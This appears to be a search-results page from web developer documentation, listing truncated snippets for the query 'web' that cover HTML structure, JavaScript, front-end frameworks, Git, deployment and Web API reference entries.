aren't marked up in any way, but they are separated with linebreaks (Enter/Return pressed to go onto the next line). However, when you open the document in your browser, you'll see that the text appears as a big chunk! This is because there are no elements to give the content structure, so the browser does not know what is a heading and what is a paragraph. Furthermore: Users looking at a
web page tend to scan quickly to find relevant content, often just reading the headings to begin with. (We usually spend a very short time on a
web page.) If they can't see anything useful within a few seconds, they'll likely get frustrated and go somewhere else. Search engines indexing your page consider the contents of headings as important keywords for influencing the page's search rankings. With...
...eb page.) If they can't see anything useful within a few seconds, they'll likely get frustrated and go somewhere else. Search engines indexing your page consider the contents of headings as important keywords for influencing the page's search rankings. Without headings, your page will perform poorly in terms of SEO (Search Engine Optimization). Severely visually impaired people often don't read
web pages; they listen to them instead. This is done with software called a screen reader. This software provides ways to get fast access to given text content. Among the various techniques used, they provide an outline of the document by reading out the headings, allowing their users to find the information they need quickly. If headings are not available, they will be forced to listen to the whole ...
...will not get any of the extra benefits described above. It is a good idea to use the relevant HTML element for the job. Lists Now let's turn our attention to lists. Lists are everywhere in life--from your shopping list to the list of directions you subconsciously follow to get to your house every day, to the lists of instructions you are following in these tutorials! Lists are everywhere on the
web, too, and we've got three different types to worry about. Unordered Unordered lists are used to mark up lists of items for which the order of the items doesn't matter--let's take a shopping list as an example. milk eggs bread hummus Every unordered list starts off with a <ul> element--this wraps around all the list items: <ul> milk eggs bread hummus </ul> The last step is to wrap each list ...
...And 3 more matches
General asynchronous programming concepts - Learn web development
Overview: Asynchronous Next In this article, we'll run through a number of important concepts relating to asynchronous programming, and how this looks in
web browsers and JavaScript. You should understand these concepts before working through the other articles in the module. Prerequisites: Basic computer literacy, a reasonable understanding of JavaScript fundamentals. Objective: To understand the basic concepts behind asynchronous programming, and how they manifest in
web browsers and JavaScript. Asynchronous? Normally, a given program's code runs straight along, with only one thing happening at once. If a function relies on the result of another function, it has to wait for the other function to finish and return, and until that happens, the ...
...ower -- especially in an era in which computers have multiple processor cores available. There's no sense sitting there waiting for something when you could let the other task chug along on another processor core and let you know when it's done. This lets you get other work done in the meantime, which is the basis of asynchronous programming. It is up to the programming environment you are using (
web browsers, in the case of
web development) to provide you with APIs that allow you to run such tasks asynchronously. Blocking code Asynchronous techniques are very useful, particularly in
web programming. When a
web app runs in a browser and it executes an intensive chunk of code without returning control to the browser, the browser can appear to be frozen. This is called blocking; the browser i...
... Let's look at a couple of examples that show what we mean by blocking. ...
...And 3 more matches
JavaScript — Dynamic client-side scripting - Learn web development
Get started Prerequisites JavaScript is arguably more difficult to learn than related technologies such as HTML and CSS. ...
... Get started Prerequisites JavaScript is arguably more difficult to learn than related technologies such as HTML and CSS. ...
...nformation you need to work towards your goal. Get started Prerequisites JavaScript is arguably more difficult to learn than related technologies such as HTML and CSS. Before attempting to learn JavaScript, you are strongly advised to get familiar with at least these two technologies first, and perhaps others as well. ...
...And 3 more matches
JavaScript performance - Learn web development
Previous Overview: Performance Next While images and video account for over 70% of the bytes downloaded for the average
website, byte per byte, JavaScript has a greater negative impact on performance. This article looks to introduce performance issues caused by scripts and introduces tips and tricks for optimizing JavaScript for
web performance. Prerequisites: Basic computer literacy, basic software installed, and basic knowledge of client-side
web technologies. Objective: To learn about the effects of JavaScript on performance optimization, and how a JavaScript file size is not the only impact on
web performance. Similar to images and video, the best way to improve performance is to omit what is not, in fact, necessary. But not all bytes downloaded ...
...bytes downloaded have the same impact. JavaScript bytes have to be downloaded, parsed, and exectuted. JavaScript impacts download performance. We'll cover tips and tricks to minimize that impact on download. But JavaScript can also consume the main thread, the CPU, and the battery. It can make the UI feel unresponsive or janky. We'll introduce concepts for handling that as well. Download impact
Web applications include a lot of JavaScript. Many applications are built with a JavaScrpit framework, or multiple, with several additional dependencies. Often times third party scripts and APIs are added, including A/B testing, tracking pixels, and features like maps and support features. All of this JavaScript must be downloaded. Eventually. Performance optimizatins should include: Reducing the...
... may improve developer experience, but is all that JavaScript required? Is there a lighter weight or home spun solutions? Some features may not be necessary, and though they may add some bling, is the cost of the feature in terms of performance worth it? Remove unused code Split the JavaScript into smaller files Code-split JavaScript into critical and non-critical parts. Module bundlers like
webpack support code-splitting. Optimize these smaller files Minification reduces the number of characters in your file, thereby reducing the number of bytes or weight of your JavaScript. Gzipping compresses the file further, and should be used even if you don't minify. Brotli is similar to Gzip, generally outperforming Gzip's compression. Render impact
Web applications include a lot of J...
...And 3 more matches
Getting started with Ember - Learn web development
aScript languages, and have knowledge of the terminal/command line. A deeper understanding of modern JavaScript features (such as classes, modules, etc), will be extremely beneficial, as Ember makes heavy use of them. Objective: To learn how to install Ember, and create a starter app. Introducing Ember Ember is a component-service framework that focuses on the overall
web application development experience, minimizing the trivial differences between applications -- all while being a modern and light layer on top of native JavaScript. Ember also has immense backwards and forwards compatibility to help businesses stay up to date with the latest versions of Ember and latest community-driven conventions. What does it mean to be a component-service framework? Componen...
..., behavior, and an interface to integrating with other libraries or systems. For example, the Router (which will be mentioned later in this tutorial) is a service. Components and Services make up the majority of any EmberJS application. Use cases Generally, EmberJS works well for building apps that desire either or both of the following traits: Single Page Applications, including native-like
web apps, and progressive
web apps (PWAs) Ember works best when it is the entire front end of your application. Increasing cohesion among many team's technology stacks Community-backed "best practices" allow for faster long-term development speed. Ember has clear conventions that are useful for enforcing consistency and helping team members get up to speed quickly. Embe...
...est practices" allow for faster long-term development speed. Ember has clear conventions that are useful for enforcing consistency and helping team members get up to speed quickly. Ember with add-ons EmberJS has a plugin architecture, which means that add-ons can be installed and provide additional functionality without much, if any, configuration. Examples include: PREmber: Static
website rendering for blogs or marketing content. FastBoot: Server-side rendering, including improving search-engine optimization (SEO), or improving initial render performance of complex, highly interactive
web pages. empress-blog: Authoring blog posts in markdown while optimizing for SEO with PREmber. ember-service-worker: Configuring a PWA so that the app can be installed on mobile devices, jus...
...And 3 more matches
Getting started with React - Learn web development
fy whether bugs in your application are related to JavaScript or to the more specific domain of React. Objective: To set up a local React development environment, create a start app, and understand the basics of how it works Hello React As its official tagline states, React is a library for building user interfaces. React is not a framework - it's not even exclusive to the
web. It's used with other libraries to render to certain environments. For instance, React Native can be used to build mobile applications; React 360 can be used to build virtual reality applications; and there are other possibilities besides. To build for the
web, developers use React in tandem with ReactDOM. React and ReactDOM are often discussed in the same spaces as -- and utilized to solve the ...
...When we refer to React as a "framework", we're working with that colloquial understanding. ...
...e React can be used for small pieces of an interface, it's not as easy to "drop into" an application as a library like jQuery, or even a framework like Vue -- it is more approachable when you build your entire app with React. In addition, many of the developer-experience benefits of a React app, such as writing interfaces with JSX, require a compilation process. Adding a compiler like Babel to a
website makes the code on it run slowly, so developers often set up such tooling with a build step. React arguably has a heavy tooling requirement, but it can be learned. This article is going to focus on the use case of using React to render the entire user interface of an application, using tooling provided by Facebook's own create-react-app tool. How does React use JavaScript? React utilizes fe...
...And 3 more matches
Styling Vue components with CSS - Learn web development
les in Single File Components. To help familiarize you with each one, we'll use a combination of all three to give our app a nicer look and feel. Styling with external CSS files You can include external CSS files and apply them globally to your app. Let's look at how this is done. To start with, create a file called reset.css in the src/assets directory. Files in this folder get processed by
Webpack. This means we can use CSS pre-processors (like SCSS) or post-processors (like PostCSS). While this tutorial will not be using such tools, it's good to know that when including such code in the assets folder it will be processed automatically. Add the following contents to the reset.css file: /*reset.css*/ /* RESETS */ *, *::before, *::after { box-sizing: border-box; } *:focus { outlin...
... /* RESETS */ *, *::before, *::after { box-sizing: border-box; } *:focus { outline: 3px dashed #228bec; } html { font: 62.5% / 1.15 sans-serif; } h1, h2 { margin-bottom: 0; } ul { list-style: none; padding: 0; } button { border: none; margin: 0; padding: 0; width: auto; overflow: visible; background: transparent; color: inherit; font: inherit; line-height: normal; -
webkit-font-smoothing: inherit; -moz-osx-font-smoothing: inherit; -
webkit-appearance: none; } button::-moz-focus-inner { border: 0; } button, input, optgroup, select, textarea { font-family: inherit; font-size: 100%; line-height: 1.15; margin: 0; } button, input { /* 1 */ overflow: visible; } input[type="text"] { border-radius: 0; } body { width: 100%; max-width: 68rem; marg...
... The reset styles should be applied to the app ...
...And 3 more matches
Git and GitHub - Learn web development
All developers will use some kind of version control system (VCS), a tool to allow them to collaborate with other developers on a project without danger of them overwriting each other's work, and roll back to previous versions of the code base if a problem is discovered later on. The most popular VCS (at least among
web developers) is Git, along with GitHub, a site that provides hosting for your repositories and several tools for working with them. This module aims to teach you what you need to know about both of them. Overview VCSes are essential for software development: It is rare that you will work on a project completely on your own, and as soon as you start working with other people you start to run the risk of conflicting with each other's work -- this is when both of you try to ...
...one and unreliable. Different team members will commonly want to create their own separate versions of the code (called branches in Git), work on a new feature in that version, and then get it merged in a controlled manner (in GitHub we use pull requests) with the master version when they are done with it. VCSes provide tools to meet the above needs. Git is an example of a VCS, and GitHub is a
web site + infrastructure that provides a Git server plus a number of really useful tools for working with git repositories individually or in teams, such as reporting issues with the code, reviewing tools, project management features such as assigning tasks and task statuses, and more. Note: Git is actually a distributed version control system, meaning that a complete copy of the repository contai...
... and more. Note: Git is actually a distributed version control system, meaning that a complete copy of the repository containing the codebase is made on your computer (and everyone else's). You make changes to your own copy, and then push those changes back up to the server, where an administrator will decide whether to merge your changes with the master copy. Looking to become a front-end
web developer? We have put together a course that includes all the essential information you need to work towards your goal. Get started Prerequisites To use Git and GitHub, you need: A desktop computer with Git installed on it (see the Git downloads page). A tool to use Git. Depending on how you like to work, you could use a Git GUI client (we'd recommend GitHub Desktop, SourceTree or Git...
...And 3 more matches
Deploying our app - Learn web development
ing mechanism, which forces the browser to download a new copy of your code. Parcel (and indeed many other tools) will generate filenames that are unique to each new build. This unique filename "busts" your browser's cache, thereby making sure the browser downloads the fresh code each time an update is made to the deployed code. The above tasks also break down into further tasks; note that most
web development teams will have their own terms and processes for at least some part of the post-development phase. For this project, we're going to use Netlify's wonderful static hosting offering to host our project. Netlify gives us hosting or more specifically, a URL to view your project online and to share it with your friends, family, and colleagues. Deploying to hosting tends to be at the tai...
...cial terms and also the time required to actually deploy) it's possible to deploy during development to either share work in progress or to have a pre-release for some other purpose. Netlify, amongst other things, also allows you to run pre-deployment tasks, which in our case means that all the production code build processes can be performed inside of Netlify and if the build is successful, the
website changes will be deployed. Although Netlify offers a drag and drop deployment service, we are intending to trigger a new deployment to Netlify each time we push to a GitHub repo. It's exactly these kinds of connected services that we would encourage you to look for when deciding on your own build toolchain. We can commit our code and push to GitHub and the updated code will automatically tri...
.../index.html, we can run it with npx parcel build src/index.html and Parcel will build everything ready for production instead of just running it for development and testing purposes. This includes doing minification and tree-shaking of code, and cache-busting on filenames. The newly-created production code is placed in a new directory called dist, which contains all the files required to run the
website, ready for you to upload to a server. However, doing this step manually isn't our final aim -- what we want is for the build to happen automatically and the result of the dist directory to be deployed live on our
website. This is where our code, GitHub, and Netlify need to be set up to talk to one another, so that each time we update our GitHub code repository, Netlify will automatically pi...
...And 3 more matches
Tools and testing - Learn web development
Once you've started to become comfortable programming with core
web technologies (like HTML, CSS, and JavaScript), and you start to get more experience, read more resources, and learn more tips and tricks, you'll start to come across all kind of tools, from JavaScript frameworks, to testing and automation tools, and more besides. As your
web projects become larger and more complex, you'll want to start taking advantage of some of these tools, working out a reliable toolchain to give your development process superpowers. On top of that, we still need to keep cross-browser support in the forefront of our minds, and make sure that our code follows best practices that allow our projects to work across different browsers and devices that our users are using to browse the
Web, and be usable by pe...
... can do for you, and how to make use of the current industry favourites. Note: We have referenced a number of tools in this topic, not because we endorse them or think they are the best, but because we know they work and have good industry support. In most cases there are other tools available, old ones will go out of fashion, and new ones will no doubt appear. Looking to become a front-end
web developer? We have put together a course that includes all the essential information you need to work towards your goal. Get started Prerequisites You should really learn the basics of the core HTML, CSS, and JavaScript languages first before attempting to use many the tools detailed here. For example, you'll need to know the fundamentals of these languages before you start debugging problem...
...We have put together a course that includes all the essential information you need to work towards your goal. Get started Prerequisites You should really learn the basics of the core HTML, CSS, and JavaScript languages first before attempting to use many the tools detailed here. ...
...And 3 more matches
amIWebInstaller
toolkit/mozapps/extensions/amI
WebInstaller.idlScriptable This interface is used to allow
web pages to start installing add-ons. ...
... toolkit/mozapps/extensions/amI
WebInstaller.idlScriptable This interface is used to allow
web pages to start installing add-ons. ...
...hes, [array, size_is(aInstallCount)] in wstring aNames, [array, size_is(aInstallCount)] in wstring aIcons, [optional] in amIInstallCallback aCallback, [optional] in PRUint32 aInstallCount); boolean isInstallEnabled(in AString aMimetype, in nsIURI aReferer); Note: Prior to Gecko 8.0, all references to nsIDOMWindow used in this interface were nsIDOMWindow. ...
...And 3 more matches
nsIWebBrowserFind
Method overview boolean findNext(); Attributes Attribute Type Description entireWord boolean Whether to match entire words only. Default is false. ...
...Method overview boolean findNext(); Attributes Attribute Type Description entireWord boolean Whether to match entire words only. Default is false. ...
...It does not by default search subframes or iframes. To change this behavior, and to explicitly set the frame to search, QueryInterface to nsI
WebBrowserFindInFrames. Method overview boolean findNext(); Attributes Attribute Type Description entireWord boolean Whether to match entire words only. Default is false. ...
...And 3 more matches
AnalyserNode - Web APIs
eritance This interface inherits from the following parent interfaces: <div id="interfaceDiagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveAspectRatio="xMinYMin meet"><a xlink:href="/docs/
Web/API/EventTarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="2...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/AudioNode" target="_top"><rect x="151" y="1" width="90" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="196" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">AudioNode</text></a><polyline points="241,25 251,20 251,30 241,25" stroke="#D4DDE4" fill="none"/><line x1="251" y1="25"...
...90" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="196" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">AudioNode</text></a><polyline points="241,25 251,20 251,30 241,25" stroke="#D4DDE4" fill="none"/><line x1="251" y1="25" x2="281" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/AnalyserNode" target="_top"><rect x="281" y="1" width="120" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="341" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">AnalyserNode</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Constructor An...
...And 3 more matches
AudioBufferSourceNode - Web APIs
or played from disk, use a AudioWorkletNode to implement its playback. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/AudioNode" target="_top"><rect x="151" y="1" width="90" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="196" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">AudioNode</text></a><polyline points="241,25 251,20 251,30 241,25" stroke="#D4DDE4" fill="none"/><line x1="251" y1="25"...
...90" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="196" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">AudioNode</text></a><polyline points="241,25 251,20 251,30 241,25" stroke="#D4DDE4" fill="none"/><line x1="251" y1="25" x2="281" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/AudioScheduledSourceNode" target="_top"><rect x="281" y="1" width="240" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="401" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">AudioScheduledSourceNode</text></a><polyline points="521,25 531,20 531,30 521,25" stroke="#D4DDE4" fill...
...And 3 more matches
AudioNode - Web APIs
BiquadFilterNode or ConvolverNode), or volume control (like GainNode) <div id="interfaceDiagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveAspectRatio="xMinYMin meet"><a xlink:href="/docs/
Web/API/EventTarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="2...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/AudioNode" target="_top"><rect x="151" y="1" width="90" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="196" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">AudioNode</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Note: An AudioNode can b...
...ice). Therefore, if you need to have interactive audio, keep the graph as small as possible, and put user-controlled audio nodes at the end of a graph. For example, a volume control (GainNode) should be the last node so that volume changes take immediate effect. Each input and output has a given amount of channels. For example, mono audio has one channel, while stereo audio has two channels. The
Web Audio API will up-mix or down-mix the number of channels as required; check the
Web Audio spec for details. For a list of all audio nodes, see the
Web Audio API homepage. Creating an AudioNode There are two ways to create an AudioNode: via the constuctor and via the factory method. // constructor const analyserNode = new AnalyserNode(audioCtx, { fftSize: 2048, maxDecibels: -25, minDecib...
...And 3 more matches
CDATASection - Web APIs
]]> Note that CDATA sections should not be used within HTML; they only work in XML. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/CharacterData" target="_top"><rect x="266" y="1" width="130" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="331" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">CharacterData</text></a><polyline points="396,25 406,20 406,30 396,25" stroke="#D4DDE4" fill="none"/><line x1="406...
...And 3 more matches
Credential Management API - Web APIs
For example, user agents have a particularly hard time dealing with federated identity providers or esoteric sign-in mechanisms that use more than just a username and password. ...
...For example, user agents have a particularly hard time dealing with federated identity providers or esoteric sign-in mechanisms that use more than just a username and password. ...
...ts a
website store and retrieve user, federated, and public key credentials. These capabilities allow users to sign in without typing passwords, see the federated account they used to sign in to a site, and resume a session without the explicit sign-in flow of an expired session. Credential management concepts and usage This API lets
websites interact with a user agent's password system so that
websites can deal in a uniform way with site credentials and user agents can provide better assistance with the management of their credentials. For example, user agents have a particularly hard time dealing with federated identity providers or esoteric sign-in mechanisms that use more than just a username and password. ...
...And 3 more matches
EXT_sRGB - Web APIs
Constants This extension exposes the following constants, which can be used in the texImage2D(), texSubImage2D(), renderbufferStorage() and getFramebufferAttachmentParameter() methods. ...
... Constants This extension exposes the following constants, which can be used in the texImage2D(), texSubImage2D(), renderbufferStorage() and getFramebufferAttachmentParameter() methods. ...
... Constants This extension exposes the following constants, which can be used in the texImage2D(), texSubImage2D(), renderbufferStorage() and getFramebufferAttachmentParameter() methods. ...
...And 3 more matches
EXT_texture_compression_bptc - Web APIs
Constants The compressed texture formats are exposed by 4 constants and can be used in two functions: compressedTexImage2D() and compressedTexSubImage2D(). ...
... Constants The compressed texture formats are exposed by 4 constants and can be used in two functions: compressedTexImage2D() and compressedTexSubImage2D(). ...
... Constants The compressed texture formats are exposed by 4 constants and can be used in two functions: compressedTexImage2D() and compressedTexSubImage2D(). ...
...And 3 more matches
EXT_texture_compression_rgtc - Web APIs
Constants The compressed texture formats are exposed by 4 constants and can be used in two functions: compressedTexImage2D() and compressedTexSubImage2D(). ...
... Constants The compressed texture formats are exposed by 4 constants and can be used in two functions: compressedTexImage2D() and compressedTexSubImage2D(). ...
... Constants The compressed texture formats are exposed by 4 constants and can be used in two functions: compressedTexImage2D() and compressedTexSubImage2D(). ...
...And 3 more matches
FederatedCredential - Web APIs
OpenID Connect is an example of a federated identity provider framework. In browsers that support it, an instance of this interface may be passed in the credential member of the init object for global fetch. Constructor FederatedCredential() Creates a new FederatedCredential object. ...
...n Status Comment Credential Management Level 1 Working Draft Initial definition. Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...AndroidOpera for AndroidSafari on iOSSamsung InternetFederatedCredential ExperimentalChrome Full support 51Edge Full support <=79Firefox ? IE ? Opera Full support YesSafari ?
WebView Android Full support 51Chrome Android Full support 51Firefox Android ? Opera Android ? Safari iOS ? Samsung Internet Android Full support 5.0FederatedCredential() constru...
...And 3 more matches
FileList - Web APIs
Note: Prior to Gecko 1.9.2, the input element only supported a single file being selected at a time, meaning that the FileList would contain only one file. ...
...HTML Living StandardThe definition of 'selected files' in that specification. Living Standard Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...eListChrome Full support 1Edge Full support 12Firefox Full support 3IE Full support 10Opera Full support 11.1Safari Full support 4
WebView Android Full support 1Chrome Android Full support 18Firefox Android Full support 4Opera Android Full support 11.1Safari iOS Full support 3.2Samsung Internet Android ...
...And 3 more matches
FileSystemDirectoryReader.readEntries() - Web APIs
Then we call Event.preventDefault() to prevent the event from being handled further after we're done. Now it's time to start building the list. First, the list is emptied by setting listing.innerHT...
...nt.dataTransfer.items. Then we call Event.preventDefault() to prevent the event from being handled further after we're done. Now it's time to start building the list. First, the list is emptied by setting listing.innerHTML to be empty. That leaves us with an empty ul to begin inserting directory entries into. Then we iterate over the items in the list of dropped items. For each one, we call its
webkitGetAsEntry() method to obtain a FileSystemEntry representing the file. If that's successful, we call scanFiles() to process the item--either by adding it to the list if it's just a file or by adding it and walking down into it if it's a directory. Result You can see how this works by trying it out below. Find some files and directories and drag them in, and take a look at the resulting output...
... Entries API Draft Draft of proposed API This API has no official W3C or WHATWG specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...And 3 more matches
FileSystemEntry.toURL() - Web APIs
e user agent uses its standard algorithms to identify the file. Return value A DOMString containing a URL that can then be used as a document reference in HTML content, or an empty string if the URL can't be generated (such as if the file system implementation doesn't support toURL()). Example If you have a FileSystemFileEntry corresponding to an image file in a file system available to your
Web site or app, you can call toURL() to get its URL for use in HTML. If your site is located at http://my-awesome-
website.woot, and you have a temporary file system that contains an image file named awesomesauce.jpg, the URL returned by toURL() might be (depending on the browser's implementation) something like "filesystem:http://my-awesome-
website.woot/temporary/awesomesauce.jpg". Code that makes ...
...:http://my-awesome-
website.woot/temporary/awesomesauce.jpg". Code that makes use of this might look like this: let img = document.createElement("img"); img.src = imageFileEntry.toURL(); document.body.appendChild(img); Assuming the scenario mentioned before the code, the result would be HTML that looks like this being appended to the end of the document: <img src="filesystem:http://my-awesome-
website.woot/temporary/awesomesauce.jpg"> Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... the end of the document: <img src="filesystem:http://my-awesome-
website.woot/temporary/awesomesauce.jpg"> Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...And 3 more matches
FileSystemFlags.create - Web APIs
ries APIThe definition of 'FileSystemFlags' in that specification. Draft Initial specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...data and send us a pull request. DesktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung Internetcreate ExperimentalChrome Full support 13Prefixed Full support 13Prefixed Prefixed Implemented with the vendor prefix:
webkitEdge Full support <=79Prefixed Full support <=79Prefixed Prefixed Implemented with the vendor prefix:
webkitFirefox Partial support 50Notes Partial support 50Notes Notes For security reasons, Firefox does not support creating files. This option has no e...
...
webkitFirefox Partial support 50Notes Partial support 50Notes Notes For security reasons, Firefox does not support creating files. ...
...And 3 more matches
FileSystemFlags.exclusive - Web APIs
ries APIThe definition of 'FileSystemFlags' in that specification. Draft Initial specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...a and send us a pull request. DesktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung Internetexclusive ExperimentalChrome Full support 13Prefixed Full support 13Prefixed Prefixed Implemented with the vendor prefix:
webkitEdge Full support <=79Prefixed Full support <=79Prefixed Prefixed Implemented with the vendor prefix:
webkitFirefox Partial support 50Notes Partial support 50Notes Notes For security reasons, Firefox does not support creating files. This option has no e...
...
webkitFirefox Partial support 50Notes Partial support 50Notes Notes For security reasons, Firefox does not support creating files. ...
...And 3 more matches
HTMLAudioElement - Web APIs
's based on, and inherits properties and methods from, the HTMLMediaElement interface. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 3 more matches
HTMLCanvasElement.getContext() - Web APIs
